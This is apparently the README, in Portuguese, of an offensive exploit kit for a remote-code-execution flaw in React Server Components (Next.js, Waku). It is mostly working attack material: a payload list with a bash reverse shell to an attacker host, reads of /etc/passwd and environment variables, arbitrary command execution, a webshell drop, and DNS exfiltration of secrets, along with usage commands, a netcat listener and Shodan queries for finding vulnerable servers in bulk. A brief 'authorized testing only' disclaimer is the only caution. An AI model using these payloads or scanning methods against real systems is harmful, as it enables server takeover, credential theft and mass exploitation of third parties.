
Kit de exploração RCE avançado para vulnerabilidades de React Server Components. Possui múltiplos payloads pré-construídos, integração com Shodan para descoberta de alvos e varredura em massa para testes de penetração autorizados.
Kit de exploração avançado para vulnerabilidades de Execução Remota de Código em React Server Components
Apenas para testes de penetração autorizados e pesquisa de segurança
Recursos • Instalação • Uso • Integração com Shodan • Exemplos • Aviso Legal
Este kit explora uma vulnerabilidade crítica de Execução Remota de Código (RCE) em implementações de React Server Components (RSC), visando especificamente:
A vulnerabilidade aproveita poluição de protótipo e desserialização insegura no mecanismo de manipulação de dados do RSC para alcançar execução arbitrária de código no servidor.
React Server Components usam um formato de serialização personalizado para transferir dados entre cliente e servidor. A vulnerabilidade existe na forma como esses frameworks desserializam e processam payloads especialmente criados.
Cadeia de Ataque:
$X:constructor:constructor para acessar o construtor Function_prefixAtacante → Payload RSC Malicioso → Servidor Alvo
↓
Desserialização Insegura
↓
Acesso à Cadeia de Protótipos
↓
Construtor de Função
↓
⚠️ RCE ALCANÇADA ⚠️
| Payload | Descrição | Caso de Uso |
|---|---|---|
console | PoC básico (console.log) | Verificar vulnerabilidade |
reverseShell | Reverse shell bash | Acesso inicial |
readFile | Ler /etc/passwd | Acesso ao sistema de arquivos |
envDump | Despejar variáveis de ambiente | Extração de credenciais |
execCommand | Executar comandos do sistema | Execução arbitrária de comandos |
webshell | Implantar webshell Express | Acesso persistente |
exfilPackage | Exfiltrar package.json | Análise de dependências |
dnsExfil | Exfiltração DNS (OOB) | Exploração cega |
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit
npm install
# or
yarn install
# Install Shodan CLI
pip install shodan
# Initialize with your API key
shodan init YOUR_API_KEY
node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console
# Start listener
nc -lvnp 4444
# Execute exploit
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload execCommand \
--command "whoami"
node rsc-rce-exploit.js [options]
| Opção | Descrição | Obrigatório |
|---|---|---|
--target <url> | URL do alvo | ✅ |
--framework <name> | Framework: next ou waku | ❌ (padrão: next) |
--payload <name> | Nome do payload (veja abaixo) | ✅* |
--custom <code> | Código JavaScript personalizado | ✅* |
--lhost <ip> | Seu IP (para reverse shell) | ❌ |
--lport <port> | Sua porta (para reverse shell) | ❌ |
--command <cmd> | Comando a executar | ❌ |
--endpoint <path> | Endpoint RSC personalizado (Waku) | ❌ |
--action-id <id> | ID next-action personalizado | ❌ |
--list | Listar payloads disponíveis | ❌ |
--verbose | Saída detalhada | ❌ |
--help | Mostrar ajuda | ❌ |
*É necessário --payload ou --custom
Veja todos os payloads:
node rsc-rce-exploit.js --list
Saída:
📋 Payloads disponíveis:
console - PoC básico - Saída no console
Código: console.log(7*7+1)
reverseShell - Reverse shell (bash)
Código: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
readFile - Ler /etc/passwd
Código: console.log(require('fs').readFileSync('/etc/passwd','utf8'))
envDump - Despejar variáveis de ambiente
Código: console.log(JSON.stringify(process.env,null,2))
execCommand - Executar comando do sistema
Código: console.log(require('child_process').execSync('COMMAND').toString())
webshell - Escrever webshell em /tmp
Código: require('fs').writeFileSync('/tmp/shell.js','...')
exfilPackage - Ler package.json
Código: console.log(require('fs').readFileSync('./package.json','utf8'))
dnsExfil - Exfiltração DNS
Código: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)
Execute qualquer código JavaScript:
node rsc-rce-exploit.js \
--target http://target.com \
--custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"
# Next.js básico
http.component:"Next.js"
# Next.js com RSC
http.html:"__next" http.html:"RSC"
# Next.js em modo dev (mais vulnerável)
http.html:"__NEXT_DATA__" http.html:"development"
# Next.js auto-hospedado (não no Vercel)
http.component:"Next.js" -org:"Vercel"
# Segmentado geograficamente (França)
http.component:"Next.js" country:FR